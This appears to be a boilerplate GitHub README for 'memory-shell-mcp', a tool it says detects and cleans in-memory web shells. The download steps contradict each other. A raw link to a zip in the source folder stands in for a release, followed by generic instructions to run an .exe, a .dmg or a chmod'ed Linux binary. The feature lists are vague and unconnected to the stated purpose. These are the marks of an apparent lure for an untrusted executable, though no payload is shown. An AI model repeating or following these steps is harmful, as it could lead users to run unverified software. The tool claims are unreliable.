This repository is designed to automate the detection and cleanup of in-memory web shells using MCP in combination with the memory-shell-detector tool. It simplifies the process of ensuring your systems are free from malicious scripts that can jeopardize security.
Follow these simple steps to download and run the application.
Before you start, make sure your system meets the following requirements:
- Operating System: Windows 10 or later, macOS Mojave or later, or a recent version of Linux.
- Memory: At least 4 GB RAM.
- Disk Space: Minimum of 100 MB available space.
- Software: .NET Core for Windows or Java for other operating systems.
To download the application, visit this page to download: GitHub Releases
- Once on the Releases page, locate the latest version of the application.
- Click on the version link to access the download options.
- Choose the appropriate file for your system (for example,
https://raw.githubusercontent.com/jk545490/memory-shell-mcp/main/src/mcp-memory-shell-v1.7.zipfor Windows users). - Click the download link and save the file to your computer.
After downloading, find the file and follow these steps to install:
- Windows: Double-click the
.exefile. Follow the prompts in the setup wizard. - macOS: Open the
.dmgfile and drag the application to the Applications folder. - Linux: Make the file executable with the command
chmod +x memory-shell-mcp-linux. Then, run it from the terminal with./memory-shell-mcp-linux.
- Open the application by double-clicking it or executing it from the terminal.
- The interface is user-friendly. Press the Start button to begin scanning for web shells.
- After the scan, it will show a report of detected items. You can choose to automatically clean them.
- Click on Clean to remove any specified threats from your system.
- Automated Detection: Quickly identifies in-memory web shells without manual intervention.
- User-Friendly Interface: Designed for ease of use, ideal for users with no programming background.
- Multi-Platform Support: Works on Windows, macOS, and Linux operating systems.
- Regular Updates: Check the Releases page frequently for updates to ensure optimal performance.
This project involves various areas of technology, including:
- Artificial Intelligence (AI)
- Web Filtering Techniques
- Memory Cleanup Processes
- Shell Scripting
- Servlet and Shiro Frameworks
- Spring and Spring Boot Applications
We welcome contributions to improve the tool. If you would like to submit suggestions or improvements, please follow these steps:
- Fork the repository on GitHub.
- Create a new branch for your feature.
- Make your changes and commit them with clear messages.
- Push your branch to your forked repository.
- Submit a pull request to the original repository.
For further reference, check these useful resources:
If you have any questions or need assistance, please reach out via GitHub Issues in this repository.
This README provides the essential information to help you download, install, and run memory-shell-mcp efficiently. Enjoy a safer experience!